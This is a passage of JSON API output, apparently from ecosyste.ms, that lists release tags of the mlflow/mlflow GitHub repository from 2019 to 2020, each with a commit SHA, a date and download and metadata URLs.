1.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.12.1/manifests"},{"name":"v1.12.0","sha":"4582e4673a27136f08cba422d21acfd16589b4c8","kind":"commit","published_at":"2020-11-11T10:11:57.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.12.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.12.0/manifests"},{"name":"v1.11.0","sha":"f98e770f209978a631167ecbc76941a1ffce956d","kind":"commit","published_at":"2020-08-31T07:00:15.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.11.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.11.0/manifests"},{"name":"v1.10.0","sha":"56698a23f5996e1d6b605cd714a5917434adeb9b","kind":"commit","published_at":"2020-07-21T06:09:25.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.10.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.10.0/manifests"},{"name":"v1.9.1","sha":"36f31386530e399c6905582587a06cb51122be01","kind":"commit","published_at":"2020-06-25T05:38:06.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.9.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.9.1/manifests"},{"name":"v1.9.0","sha":"29d61687b378dcb06154df4c4750bbe6cf1081bb","kind":"commit","published_at":"2020-06-18T19:58:36.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.9.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.9.0/manifests"},{"name":"v1.8.0","sha":"cf3b4e190612add14df99bb1036f1b5bfe775ba6","kind":"commit","published_at":"2020-04-20T23:28:16.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.8.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.8.0/manifests"},{"name":"v1.7.2","sha":"a46bb1f3f69940768e1f6b5e583f99703bd4dfeb","kind":"commit","published_at":"2020-03-20T22:21:07.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.7.2","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.7.2/manifests"},{"name":"v1.7.1","sha":"21d3f40441d9432297023f21076a4ed6dc912ab2","kind":"commit","published_at":"2020-03-17T15:46:13.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.7.1","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.7.1/manifests"},{"name":"42.0+criteo.1583943224","sha":"19830dae763ead3f1ffaa7afeede9e9a6b04c09c","kind":"commit","published_at":"2020-03-11T13:20:14.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/42.0+criteo.1583943224","html_url":"https://github.com/mlflow/mlflow/releases/tag/42.0+criteo.1583943224","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@42.0%2Bcriteo.1583943224","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1583943224","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1583943224/manifests"},{"name":"42.0+criteo.1583490839","sha":"fdd69fb6a1e062e6cbbf81b38b4994b6904ef9f2","kind":"commit","published_at":"2020-03-06T10:30:16.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/42.0+criteo.1583490839","html_url":"https://github.com/mlflow/mlflow/releases/tag/42.0+criteo.1583490839","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@42.0%2Bcriteo.1583490839","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1583490839","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1583490839/manifests"},{"name":"42.0+criteo.1583416453","sha":"e83d50843ad8ae719de150ba07cc406c92d478ac","kind":"commit","published_at":"2020-03-05T13:50:36.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/42.0+criteo.1583416453","html_url":"https://github.com/mlflow/mlflow/releases/tag/42.0+criteo.1583416453","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@42.0%2Bcriteo.1583416453","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1583416453","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1583416453/manifests"},{"name":"42.0+criteo.1583312276","sha":"98ce9bc65a8cb3261ca1209d2ba5cabbd088be39","kind":"commit","published_at":"2020-03-03T17:02:56.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/42.0+criteo.1583312276","html_url":"https://github.com/mlflow/mlflow/releases/tag/42.0+criteo.1583312276","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@42.0%2Bcriteo.1583312276","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1583312276","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1583312276/manifests"},{"name":"v1.7.0","sha":"02405a807e3a4026739dec39cc47f5f2dbb7b6b8","kind":"commit","published_at":"2020-03-03T00:29:25.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.7.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.7.0/manifests"},{"name":"42.0+criteo.1583162775","sha":"d955bf7f1ca25797fa9c97200c58e83d3ef7d294","kind":"commit","published_at":"2020-03-02T15:21:48.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/42.0+criteo.1583162775","html_url":"https://github.com/mlflow/mlflow/releases/tag/42.0+criteo.1583162775","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@42.0%2Bcriteo.1583162775","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1583162775","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1583162775/manifests"},{"name":"42.0+criteo.1582736426","sha":"e29b52d3239c2e7b87d9492dd148605d3f6bd06e","kind":"commit","published_at":"2020-02-26T09:15:21.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/42.0+criteo.1582736426","html_url":"https://github.com/mlflow/mlflow/releases/tag/42.0+criteo.1582736426","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@42.0%2Bcriteo.1582736426","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1582736426","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1582736426/manifests"},{"name":"42.0+criteo.1582638274","sha":"fdf39b0a103ff93eebf90f33cea294937192dc3f","kind":"commit","published_at":"2020-02-25T13:38:23.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/42.0+criteo.1582638274","html_url":"https://github.com/mlflow/mlflow/releases/tag/42.0+criteo.1582638274","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@42.0%2Bcriteo.1582638274","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1582638274","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1582638274/manifests"},{"name":"42.0+criteo.1582288688","sha":"58c25033c4dfbf56dd23939ee71aa7908f631c75","kind":"commit","published_at":"2020-02-21T12:32:34.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/42.0+criteo.1582288688","html_url":"https://github.com/mlflow/mlflow/releases/tag/42.0+criteo.1582288688","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@42.0%2Bcriteo.1582288688","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1582288688","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1582288688/manifests"},{"name":"42.0+criteo.1581945227","sha":"7ca9604bc0c38e42f4fecf7ca38ae63449a60bdd","kind":"commit","published_at":"2020-02-17T12:40:35.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/42.0+criteo.1581945227","html_url":"https://github.com/mlflow/mlflow/releases/tag/42.0+criteo.1581945227","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@42.0%2Bcriteo.1581945227","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1581945227","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1581945227/manifests"},{"name":"42.0+criteo.1581596667","sha":"0401b364c424bed940603f3ab034a3d39436b8b1","kind":"commit","published_at":"2020-02-13T12:21:14.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/42.0+criteo.1581596667","html_url":"https://github.com/mlflow/mlflow/releases/tag/42.0+criteo.1581596667","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@42.0%2Bcriteo.1581596667","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1581596667","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1581596667/manifests"},{"name":"42.0+criteo.1581516212","sha":"13f49c2c16ff6d7afafcfb00a7d012752ab27f72","kind":"commit","published_at":"2020-02-12T13:39:45.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/42.0+criteo.1581516212","html_url":"https://github.com/mlflow/mlflow/releases/tag/42.0+criteo.1581516212","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@42.0%2Bcriteo.1581516212","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1581516212","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1581516212/manifests"},{"name":"42.0+criteo.1581341516","sha":"15b4066e28b9865174fcc0658d5fe57d1f046574","kind":"commit","published_at":"2020-02-10T13:27:33.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/42.0+criteo.1581341516","html_url":"https://github.com/mlflow/mlflow/releases/tag/42.0+criteo.1581341516","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@42.0%2Bcriteo.1581341516","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1581341516","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1581341516/manifests"},{"name":"42.0+criteo.1581092106","sha":"465bf2419712810691822e94da0790d9d8279b6f","kind":"commit","published_at":"2020-02-07T12:32:24.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/42.0+criteo.1581092106","html_url":"https://github.com/mlflow/mlflow/releases/tag/42.0+criteo.1581092106","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@42.0%2Bcriteo.1581092106","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1581092106","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1581092106/manifests"},{"name":"42.0+criteo.1580989984","sha":"98827153ef32089e884cfd085be0ac4c258eb211","kind":"commit","published_at":"2020-02-06T11:48:06.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/42.0+criteo.1580989984","html_url":"https://github.com/mlflow/mlflow/releases/tag/42.0+criteo.1580989984","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@42.0%2Bcriteo.1580989984","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1580989984","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1580989984/manifests"},{"name":"42.0+criteo.1580917161","sha":"f1a226b6f8842d8c7e4e5d5abcd04e6411f3a68a","kind":"commit","published_at":"2020-02-05T15:35:36.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/42.0+criteo.1580917161","html_url":"https://github.com/mlflow/mlflow/releases/tag/42.0+criteo.1580917161","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@42.0%2Bcriteo.1580917161","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1580917161","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1580917161/manifests"},{"name":"42.0+criteo.1580821686","sha":"b8b13c33a4b1a6f6d5a43106cca89ca192ceba77","kind":"commit","published_at":"2020-02-04T12:21:16.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/42.0+criteo.1580821686","html_url":"https://github.com/mlflow/mlflow/releases/tag/42.0+criteo.1580821686","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@42.0%2Bcriteo.1580821686","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1580821686","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1580821686/manifests"},{"name":"42.0+criteo.1580736277","sha":"cb8eda47319430df4f359b613be7e0014b879054","kind":"commit","published_at":"2020-02-03T13:20:55.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/42.0+criteo.1580736277","html_url":"https://github.com/mlflow/mlflow/releases/tag/42.0+criteo.1580736277","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@42.0%2Bcriteo.1580736277","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1580736277","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/42.0+criteo.1580736277/manifests"},{"name":"1.6.1.dev0+criteo.1580735356","sha":"fa6646c7e40f05ab41e75efee5d67afccb11949d","kind":"commit","published_at":"2020-02-03T13:05:00.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.6.1.dev0+criteo.1580735356","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.6.1.dev0+criteo.1580735356","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.6.1.dev0%2Bcriteo.1580735356","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.6.1.dev0+criteo.1580735356","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.6.1.dev0+criteo.1580735356/manifests"},{"name":"1.6.0+criteo.1580724964","sha":"61ad108ea162705dad880e08b4b8b3885dccf53a","kind":"commit","published_at":"2020-01-31T12:03:10.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.6.0+criteo.1580724964","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.6.0+criteo.1580724964","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.6.0%2Bcriteo.1580724964","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.6.0+criteo.1580724964","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.6.0+criteo.1580724964/manifests"},{"name":"v1.6.0","sha":"837642343e1726b669b6c18566ae02581b08b532","kind":"commit","published_at":"2020-01-29T19:29:18.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.6.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/v1.6.0/manifests"},{"name":"1.5.1+criteo.1580140884","sha":"d35f172d0f6c6434b5d06fe4b0d48a130aa25733","kind":"commit","published_at":"2020-01-27T15:57:27.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.5.1+criteo.1580140884","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.5.1+criteo.1580140884","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.5.1%2Bcriteo.1580140884","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.1+criteo.1580140884","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.1+criteo.1580140884/manifests"},{"name":"1.5.1+criteo.1580123040","sha":"340d5fb3dd303080be94f4c4c9d0a76fdef81d3c","kind":"commit","published_at":"2020-01-27T10:59:31.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.5.1+criteo.1580123040","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.5.1+criteo.1580123040","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.5.1%2Bcriteo.1580123040","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.1+criteo.1580123040","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.1+criteo.1580123040/manifests"},{"name":"1.5.1+criteo.1579186580","sha":"9da02ae3a22994c8968321b1fe193c8883c4d9e2","kind":"commit","published_at":"2020-01-16T14:52:48.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.5.1+criteo.1579186580","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.5.1+criteo.1579186580","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.5.1%2Bcriteo.1579186580","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.1+criteo.1579186580","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.1+criteo.1579186580/manifests"},{"name":"1.5.1+criteo.1579106976","sha":"d64ddff599db4e26dc9ff1dff0d52b2899ed1ec0","kind":"commit","published_at":"2020-01-15T16:44:59.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.5.1+criteo.1579106976","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.5.1+criteo.1579106976","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.5.1%2Bcriteo.1579106976","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.1+criteo.1579106976","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.1+criteo.1579106976/manifests"},{"name":"1.5.1.dev0+criteo.1578998608","sha":"7597ad17b2f7e226d17609c6307306a09ab09e3a","kind":"commit","published_at":"2020-01-14T09:04:24.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.5.1.dev0+criteo.1578998608","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.5.1.dev0+criteo.1578998608","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.5.1.dev0%2Bcriteo.1578998608","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.1.dev0+criteo.1578998608","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.1.dev0+criteo.1578998608/manifests"},{"name":"1.5.0+criteo.1578667815","sha":"61e286ad4dfb246df9008e04235a99bcd1b095eb","kind":"commit","published_at":"2020-01-10T14:45:53.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.5.0+criteo.1578667815","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.5.0+criteo.1578667815","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.5.0%2Bcriteo.1578667815","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.0+criteo.1578667815","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.0+criteo.1578667815/manifests"},{"name":"1.5.0+criteo.1578481563","sha":"a1fbf5465a687ecdfd28bdeb33451c1373e09791","kind":"commit","published_at":"2020-01-08T11:02:24.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.5.0+criteo.1578481563","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.5.0+criteo.1578481563","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.5.0%2Bcriteo.1578481563","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.0+criteo.1578481563","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.0+criteo.1578481563/manifests"},{"name":"1.5.0+criteo.1578400847","sha":"680a38e176711a3692e6979fc8c8711dcd6abfda","kind":"commit","published_at":"2020-01-07T12:37:19.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.5.0+criteo.1578400847","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.5.0+criteo.1578400847","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.5.0%2Bcriteo.1578400847","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.0+criteo.1578400847","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.0+criteo.1578400847/manifests"},{"name":"1.5.0+criteo.1577960544","sha":"4823bc2e3ec47c61c2530b4f6a6682e168db9add","kind":"commit","published_at":"2020-01-02T10:12:38.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.5.0+criteo.1577960544","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.5.0+criteo.1577960544","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.5.0%2Bcriteo.1577960544","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.0+criteo.1577960544","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.0+criteo.1577960544/manifests"},{"name":"1.5.0+criteo.1577454040","sha":"a6384c731e62f4e7755d92337c8d577f5ecf9cbb","kind":"commit","published_at":"2019-12-27T13:33:04.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.5.0+criteo.1577454040","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.5.0+criteo.1577454040","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.5.0%2Bcriteo.1577454040","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.0+criteo.1577454040","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.0+criteo.1577454040/manifests"},{"name":"1.5.0+criteo.1577105020","sha":"c7a203f28ac556fa61028d58fe956f4411a0f542","kind":"commit","published_at":"2019-12-23T12:39:49.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.5.0+criteo.1577105020","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.5.0+criteo.1577105020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.5.0%2Bcriteo.1577105020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.0+criteo.1577105020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.5.0+criteo.1577105020/manifests"},{"name":"1.4.0+criteo.1576835219","sha":"7e56011f34f16bcdc15a160573cbd47d8269877e","kind":"commit","published_at":"2019-12-20T09:39:36.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/1.4.0+criteo.1576835219","html_url":"https://github.com/mlflow/mlflow/releases/tag/1.4.0+criteo.1576835219","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mlflow/mlflow@1.4.0%2Bcriteo.1576835219","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1576835219","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags/1.4.0+criteo.1576835219/manifests"},{"name":"v1.5.0","sha":"6e60e79a593fed2ff5a08aa637a79354bee1be0e","kind":"commit","published_at":"2019-12-20T00:07:21.000Z","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/v1.5.0","html_url":"https://github.com/mlflow/mlflow/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pk